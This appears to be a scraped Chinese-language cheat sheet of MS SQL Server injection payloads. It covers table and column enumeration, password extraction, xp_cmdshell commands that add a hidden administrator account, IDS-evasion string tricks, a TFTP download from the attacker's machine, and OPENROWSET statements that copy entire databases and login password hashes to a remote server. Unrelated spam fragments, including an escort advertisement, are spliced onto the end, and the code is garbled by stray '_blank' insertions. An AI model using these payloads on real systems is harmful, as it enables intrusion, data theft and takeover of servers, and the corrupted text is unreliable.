1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and
name=admin
and uid(str (id))) 暴到UID的数值假设为18779569 uid=id
and
0(select top 1 name from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_blank_id
and 0(select top 1 name from
bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0_id from BBS.dbo.admin where username1)
可以得到用户名
依次可以得到_blank密码。。。。。假设存在user_blank_id username ,password 等字段
and 0(select count(*) from master.dbo.sysdatabases where
name1 and dbid=6)
and 0 (select top 1 name from
bbs.dbo.sysobjects where xtype=U) 得到表名
and 0(select top 1 name from
bbs.dbo.sysobjects where xtype=U and name not in(Address))
and
0(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid(str(id))) 判断id值
and 0(select top 1 name from
BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select
1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1
swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths
varchar(500)) Declare @test varchar(20) exec master..xp_blank_regread
@rootkey=HKEY_blank_LOCAL_blank_MACHINE, @key=SYSTEM\CurrentControlSet
\Services\W3SVC\Parameters\Virtual Roots\, @value_blank_name=/, values=@test
OUTPUT insert into paths (path) values(@test)--
;use ku1;--
;create
table cmd (str image);-- 建立image类型的表cmd
存在xp_blank_cmdshell的测试过程:
;exec master..xp_blank_cmdshell dir
;exec
master.dbo.sp_blank_addlogin jiaoniang$;-- 加SQL帐号
;exec
master.dbo.sp_blank_password null,jiaoniang$,1866574;--
;exec
master.dbo.sp_blank_addsrvrolemember jiaoniang$ sysadmin;--
;exec
master.dbo.xp_blank_cmdshell net user jiaoniang$ 1866574 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec
master.dbo.xp_blank_cmdshell net localgroup administrators jiaoniang$
/add;--
exec master..xp_blank _servicecontrol start, schedule
启动_blank服务
exec master..xp_blank_servicecontrol start, server
;
DECLARE @shell INT EXEC SP_blank_OACREATE wscript.shell,@shell OUTPUT EXEC
SP_blank_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user
jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank_OACREATE
wscript.shell,@shell OUTPUT EXEC SP_blank_OAMETHOD @shell,run,null,
C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
;
exec master..xp_blank_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
;declare @a sysname set @a=xp_blank_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank_name();backup database @a to
disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset
(_blanksqloledb,server;sa;,select OK! exec master.dbo.sp_blank_addlogin
hax)
查询构造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and
right(left(userpass,01),1)=1) and userpass
select 123;--
;use
master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1(select
count (email) from [user]);--
;update [users] set email=(select top 1 name
from sysobjects where xtype=u and status0) where name=ffff;--
;update
[users] set email=(select top 1 id from sysobjects where xtype=u and name=ad)
where name=ffff;--
;update [users] set email=(select top 1 name from
sysobjects where xtype=u and id581577110) where name=ffff;--
;update
[users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where
name=ffff;--
;update [users] set email=(select top 1 name from password
where id=2) where name=ffff;--
上面的语句是得到_blank数据库中的之一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得之一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into
users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert
into users values( 667,123,123,0xffff)--
insert into users values ( 123,
admin--, password, 0xffff)--
;and user0
;and (select count(*) from
sysobjects)0
;and (select count(*) from mysysobjects)0
//为access_blank数据库
枚举出数据表名
;update aaa set aaa=(select top 1
name from sysobjects where xtype=u and status0);--
这是将之一个表名更新到aaa的字段处。
读出之一个表,第二个表可以这样读出来(在条件后加上 and name刚才得到的表名)。
;update aaa set
aaa=(select top 1 name from sysobjects where xtype=u and status0 and
namevote);--
然后id=1552 and exists(select * from aaa where aaa5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1
col_blank_name (object_blank_id(表名),1));--
然后id=152 and
exists(select * from aaa where aaa5)出错,得到字段名
;update aaa set aaa=(select
top 1 col_blank_name(object_blank_id(表名),2));--
然后id=152 and
exists(select * from aaa where aaa5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1
name from sysobjects where xtype=u and status0 [ and name你得到的表名
查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and
status0 and name not in(table1,table2,…)
通过SQLSERVER注入_blank漏洞建_blank数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段= (select
top 1 col_blank_name(object_blank_id(要查询的数据表名),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_blank_+cmdshell
exec @a dir c:\
;declare @a sysname set @a=xp+_blank_cm’+’dshell exec @a
dir c:\
1、 开启远程_blank数据库
基本语法
select * from
OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from
OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,
select * from table
3.复制目标主机的整个_blank数据库
insert所有远程表到本地表。
基本语法:
insert into OPENROWSET(SQLOLEDB,
server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=
192.168.0.1,1433;,select * from table1) select * from table2
insert into
OPENROWSET(SQLOLEDB,uid=sa;pwd=
123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from
_blank_sysdatabases)
select * from master.dbo.sysdatabases
insert
into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=
192.168.0.1,1433;,select * from _blank_sysobjects)
select * from
user_blank _database.dbo.sysobjects
insert into
OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=
192.168.0.1,1433;,select * from _blank_syscolumns)
select * from
user_blank _database.dbo.syscolumns
复制_blank数据库:
insert into
OPENROWSET(SQLOLEDB,uid=sa;pwd=
123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select *
from database..table1
insert into
OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select
* from table2) select * from database..table2
复制哈西表(HASH)登录_blank密码的hash存储于sysxlogins中。 *** 如下:
insert into
OPENROWSET (SQLOLEDB,
uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from
_blank_sysxlogins) select * from database.dbo.sysxlogins
得到hash之后,就可以进行暴力破解。
遍历目录的 *** : 先创建一个临时表:temp
;create table temp(id
nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_blank_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank_subdirs c:\;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank_dirtree c:\;--
获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec
master.dbo.xp_blank_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
;insert
into temp(id) exec master.dbo.xp_blank_cmdshell dir c:\;--
;insert into
temp(id) exec master.dbo.xp_blank_cmdshell dir c:\ *.asp /s/a;--
;insert
into temp(id) exec master.dbo.xp_blank _cmdshell cscript
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1)
exec master.dbo.xp_blank_dirtree c:\;-- (xp_blank_dirtree适用权限PUBLIC)
写入表:
语句1:and 1= (SELECT IS_blank_SRVROLEMEMBER(sysadmin));--
语句2:and 1=(SELECT IS_blank_SRVROLEMEMBER (serveradmin));--
语句3:and
1=(SELECT IS_blank_SRVROLEMEMBER(setupadmin));--
语句4:and 1=(SELECT
IS_blank_SRVROLEMEMBER(securityadmin));--
语句5:and 1=(SELECT
IS_blank_SRVROLEMEMBER (securityadmin));--
语句6:and 1=(SELECT
IS_blank_SRVROLEMEMBER(diskadmin));--
语句7:and 1= (SELECT
IS_blank_SRVROLEMEMBER(bulkadmin));--
语句8:and 1=(SELECT
IS_blank_SRVROLEMEMBER (bulkadmin));--
语句9:and 1=(SELECT
IS_blank_MEMBER(db_blank_owner));--
把路径写到表中去:
;create table
dirs(paths varchar(100), id int)--
;insert dirs exec
master.dbo.xp_blank_dirtree c:\--
and 0(select top 1 paths from
dirs)--
and 0 (select top 1 paths from dirs where paths not
in(@Inetpub))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank_dirtree e:\web--
and
0(select top 1 paths from dirs1)--
把_blank数据库备份到网页目录:下载
;declare @a sysname; set @a=db_blank_name();backup database @a to
disk=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12
id,name from sysobjects where xtype=char(85)) T order by id desc)
and
1=(Select Top 1 col_blank_name(object_blank_id(USER_blank_LOGIN),1)
from sysobjects) 参看相关表。
and 1=(select user_blank_id from
USER_blank_LOGIN)
and 0=(select user from USER_blank_LOGIN where
user1)
-=- wscript.shell example -=-
declare @o int
exec
sp_blank_oacreate wscript.shell, @o out
exec sp_blank_oamethod @o,
run, NULL, notepad.exe
; declare @o int exec sp_blank_oacreate
wscript.shell, @o out exec sp_blank_oamethod @o, run, NULL, notepad.exe--
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank_oacreate scripting.filesystemobject, @o out
exec
sp_blank_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret =
sp_blank_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec
sp_blank_oacreate scripting.filesystemobject, @o out
exec
sp_blank_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank_oamethod @f, writeline, NULL,
declare @o int, @ret int
exec sp_blank_oacreate
speech.voicetext, @o out
exec sp_blank _oamethod @o, register, NULL,
foo, bar
exec sp_blank_oasetproperty @o, speed, 150
exec
sp_blank_oamethod @o, speak, NULL, all your sequel servers are belong to,us,
528
waitfor delay 00:00:05
; declare @o int, @ret int exec
sp_blank_oacreate speech.voicetext, @o out exec sp_blank_oamethod @o,
register, NULL, foo, bar exec sp_blank_oasetproperty @o, speed, 150 exec
sp_blank_oamethod @o, speak, NULL, all your sequel servers are belong to us,
528 waitfor delay 00:00:05--
xp_blank_dirtree适用权限PUBLIC
exec
master.dbo.xp_blank_dirtree c:\
返回的信息有两个字段
subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths
varchar(100), id int)
建表,这里建的表是和上面xp_blank_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_blank_dirtree c:\
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,
一步步达到我们想要的信息!
交响乐队的木管乐器组包括长笛、双簧管、单簧管、大管四种主要乐器,以及这些乐器的变形乐器,如短笛、英国管、小单簧管、低音单簧管、低音大管等。所谓木管乐器,是因为乐器本身使用木质材料而得名的,它是将一种精...
“铁岭商务-【孙花长】” 呢称:堡垒的神壕呢称:追寻文凭:大学本科休重:92斤个子:165cm高端模特、商务接待伴游等服务项目、可上门服务还可以去漂亮美女个人工作室。全国各地高档价钱3000起、留宿8...
很多人的脸上都有各种斑点,尤其是女性特别注意皮肤护理方面的事情,就会用各种护肤品来防止脸上长斑。其实脸上会长斑也是有原因的,如果不知道长斑的原因,就无法把斑去掉。 那么脸上长斑都有哪些原因呢?...
尚有没有其他长不大的小狗品种 100--500元的娃娃根基上只有几点娃娃的特征严格意思上说不是娃娃失格了(耳朵不。 许多伴侣一上来就问我值几多钱 我也真的很难说啊 每个地域都市市场的价值都一样...
随着网络营销不断的发展,越来越多的中小企业和个人创业者都开始做起了互联网生意,而现如今的互联网,早已不像以前那样四处贴广告的时候,一个企业或者项目想保持可持续发展,那么负责人必须对每个窗口,每个岗位负...
在中国,有很多家长在为孩子记不住单词而发愁。在我这里,这个情况是反过来的。孩子经常批评我,学习英语的效率这么低。 我家孩子10岁开始学英语,通过网络结交几十个不同国家的笔友。12岁时,只用了3个多月...